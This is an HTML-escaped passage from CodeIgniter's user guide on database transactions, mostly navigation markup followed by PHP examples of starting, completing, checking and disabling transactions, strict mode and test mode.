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&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/index.html&quot;&gt;Libraries&lt;/a&gt;&lt;ul&gt;
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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/encryption.html&quot;&gt;Encryption Library&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/file_uploading.html&quot;&gt;File Uploading Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/form_validation.html&quot;&gt;Form Validation&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/ftp.html&quot;&gt;FTP Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/image_lib.html&quot;&gt;Image Manipulation Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/input.html&quot;&gt;Input Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/javascript.html&quot;&gt;Javascript Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/language.html&quot;&gt;Language Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/loader.html&quot;&gt;Loader Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/migration.html&quot;&gt;Migrations Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/output.html&quot;&gt;Output Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/pagination.html&quot;&gt;Pagination Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/parser.html&quot;&gt;Template Parser Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/security.html&quot;&gt;Security Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/sessions.html&quot;&gt;Session Library&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/table.html&quot;&gt;HTML Table Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/trackback.html&quot;&gt;Trackback Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/typography.html&quot;&gt;Typography Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/unit_testing.html&quot;&gt;Unit Testing Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/uri.html&quot;&gt;URI Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/user_agent.html&quot;&gt;User Agent Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/xmlrpc.html&quot;&gt;XML-RPC and XML-RPC Server Classes&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/zip.html&quot;&gt;Zip Encoding Class&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul class=&quot;current&quot;&gt;
&lt;li class=&quot;toctree-l1 current&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;index.html&quot;&gt;Database Reference&lt;/a&gt;&lt;ul class=&quot;current&quot;&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;examples.html&quot;&gt;Quick Start: Usage Examples&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;configuration.html&quot;&gt;Database Configuration&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;connecting.html&quot;&gt;Connecting to a Database&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;queries.html&quot;&gt;Running Queries&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;results.html&quot;&gt;Generating Query Results&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;helpers.html&quot;&gt;Query Helper Functions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;query_builder.html&quot;&gt;Query Builder Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2 current&quot;&gt;&lt;a class=&quot;current reference internal&quot; href=&quot;#&quot;&gt;Transactions&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;metadata.html&quot;&gt;Getting MetaData&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;call_function.html&quot;&gt;Custom Function Calls&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;caching.html&quot;&gt;Query Caching&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;forge.html&quot;&gt;Database Manipulation with Database Forge&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;utilities.html&quot;&gt;Database Utilities Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;db_driver_reference.html&quot;&gt;Database Driver Reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/index.html&quot;&gt;Helpers&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/array_helper.html&quot;&gt;Array Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/captcha_helper.html&quot;&gt;CAPTCHA Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/cookie_helper.html&quot;&gt;Cookie Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/date_helper.html&quot;&gt;Date Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/directory_helper.html&quot;&gt;Directory Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/download_helper.html&quot;&gt;Download Helper&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../helpers/email_helper.html&quot;&gt;Email Helper&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/welcome.html&quot;&gt;Welcome to CodeIgniter&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../installation/index.html&quot;&gt;Installation Instructions&lt;/a&gt;&lt;ul&gt;
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&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../contributing/index.html&quot;&gt;Contributing to CodeIgniter&lt;/a&gt;&lt;ul&gt;
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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../DCO.html&quot;&gt;Developers Certificate of Origin 1.1&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/routing.html&quot;&gt;URI Routing&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/errors.html&quot;&gt;Error Handling&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/caching.html&quot;&gt;Caching&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/profiling.html&quot;&gt;Profiling Your Application&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/cli.html&quot;&gt;Running via the CLI&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/managing_apps.html&quot;&gt;Managing your Applications&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/environments.html&quot;&gt;Handling Multiple Environments&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/alternative_php.html&quot;&gt;Alternate PHP Syntax for View Files&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/security.html&quot;&gt;Security&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../general/styleguide.html&quot;&gt;PHP Style Guide&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l1&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/index.html&quot;&gt;Libraries&lt;/a&gt;&lt;ul&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/benchmark.html&quot;&gt;Benchmarking Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/caching.html&quot;&gt;Caching Driver&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/calendar.html&quot;&gt;Calendaring Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/cart.html&quot;&gt;Shopping Cart Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/config.html&quot;&gt;Config Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/email.html&quot;&gt;Email Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/encrypt.html&quot;&gt;Encrypt Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/encryption.html&quot;&gt;Encryption Library&lt;/a&gt;&lt;/li&gt;
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&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/ftp.html&quot;&gt;FTP Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/image_lib.html&quot;&gt;Image Manipulation Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/input.html&quot;&gt;Input Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/javascript.html&quot;&gt;Javascript Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/language.html&quot;&gt;Language Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/loader.html&quot;&gt;Loader Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/migration.html&quot;&gt;Migrations Class&lt;/a&gt;&lt;/li&gt;
&lt;li class=&quot;toctree-l2&quot;&gt;&lt;a class=&quot;reference internal&quot; href=&quot;../libraries/output.html&quot;&gt;Output Class&lt;/a&gt;&lt;/li&gt;
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  &lt;div class=&quot;section&quot; id=&quot;transactions&quot;&gt;
&lt;h1&gt;Transactions&lt;a class=&quot;headerlink&quot; href=&quot;#transactions&quot; title=&quot;Permalink to this headline&quot;&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;CodeIgniters database abstraction allows you to use transactions with
databases that support transaction-safe table types. In MySQL, youll
need to be running InnoDB or BDB table types rather than the more common
MyISAM. Most other database platforms support transactions natively.&lt;/p&gt;
&lt;p&gt;If you are not familiar with transactions we recommend you find a good
online resource to learn about them for your particular database. The
information below assumes you have a basic understanding of
transactions.&lt;/p&gt;
&lt;div class=&quot;section&quot; id=&quot;codeigniter-s-approach-to-transactions&quot;&gt;
&lt;h2&gt;CodeIgniters Approach to Transactions&lt;a class=&quot;headerlink&quot; href=&quot;#codeigniter-s-approach-to-transactions&quot; title=&quot;Permalink to this headline&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;CodeIgniter utilizes an approach to transactions that is very similar to
the process used by the popular database class ADODB. Weve chosen that
approach because it greatly simplifies the process of running
transactions. In most cases all that is required are two lines of code.&lt;/p&gt;
&lt;p&gt;Traditionally, transactions have required a fair amount of work to
implement since they demand that you keep track of your queries and
determine whether to commit or rollback based on the success or failure
of your queries. This is particularly cumbersome with nested queries. In
contrast, weve implemented a smart transaction system that does all
this for you automatically (you can also manage your transactions
manually if you choose to, but theres really no benefit).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;running-transactions&quot;&gt;
&lt;h2&gt;Running Transactions&lt;a class=&quot;headerlink&quot; href=&quot;#running-transactions&quot; title=&quot;Permalink to this headline&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To run your queries using transactions you will use the
$this-&amp;gt;db-&amp;gt;trans_start() and $this-&amp;gt;db-&amp;gt;trans_complete() functions as
follows:&lt;/p&gt;
&lt;div class=&quot;highlight-ci&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;AN SQL QUERY...&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;ANOTHER QUERY...&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;AND YET ANOTHER QUERY...&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_complete&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;You can run as many queries as you want between the start/complete
functions and they will all be committed or rolled back based on success
or failure of any given query.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;strict-mode&quot;&gt;
&lt;h2&gt;Strict Mode&lt;a class=&quot;headerlink&quot; href=&quot;#strict-mode&quot; title=&quot;Permalink to this headline&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;By default CodeIgniter runs all transactions in Strict Mode. When strict
mode is enabled, if you are running multiple groups of transactions, if
one group fails all groups will be rolled back. If strict mode is
disabled, each group is treated independently, meaning a failure of one
group will not affect any others.&lt;/p&gt;
&lt;p&gt;Strict Mode can be disabled as follows:&lt;/p&gt;
&lt;div class=&quot;highlight-ci&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_strict&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;managing-errors&quot;&gt;
&lt;h2&gt;Managing Errors&lt;a class=&quot;headerlink&quot; href=&quot;#managing-errors&quot; title=&quot;Permalink to this headline&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you have error reporting enabled in your config/database.php file
youll see a standard error message if the commit was unsuccessful. If
debugging is turned off, you can manage your own errors like this:&lt;/p&gt;
&lt;div class=&quot;highlight-ci&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;AN SQL QUERY...&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;ANOTHER QUERY...&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_complete&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// generate an error... or use the log_message() function to log your error&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;disabling-transactions&quot;&gt;
&lt;h2&gt;Disabling Transactions&lt;a class=&quot;headerlink&quot; href=&quot;#disabling-transactions&quot; title=&quot;Permalink to this headline&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you would like to disable transactions you can do so using
&lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;$this-&amp;gt;db-&amp;gt;trans_off()&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;highlight-ci&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_off&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;AN SQL QUERY...&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_complete&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When transactions are disabled, your queries will be auto-committed, just as
they are when running queries without transactions, practically ignoring
any calls to &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;trans_start()&lt;/span&gt;&lt;/code&gt;, &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;trans_complete()&lt;/span&gt;&lt;/code&gt;, etc.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;section&quot; id=&quot;test-mode&quot;&gt;
&lt;h2&gt;Test Mode&lt;a class=&quot;headerlink&quot; href=&quot;#test-mode&quot; title=&quot;Permalink to this headline&quot;&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You can optionally put the transaction system into test mode, which
will cause your queries to be rolled back  even if the queries produce
a valid result. To use test mode simply set the first parameter in the
$this-&amp;gt;db-&amp;gt;trans_start() function to TRUE:&lt;/p&gt;
&lt;div class=&quot;highlight-ci&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;TRUE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// Query will be rolled back&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&amp;#39;AN SQL QUERY...&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;db&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;trans_complete&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
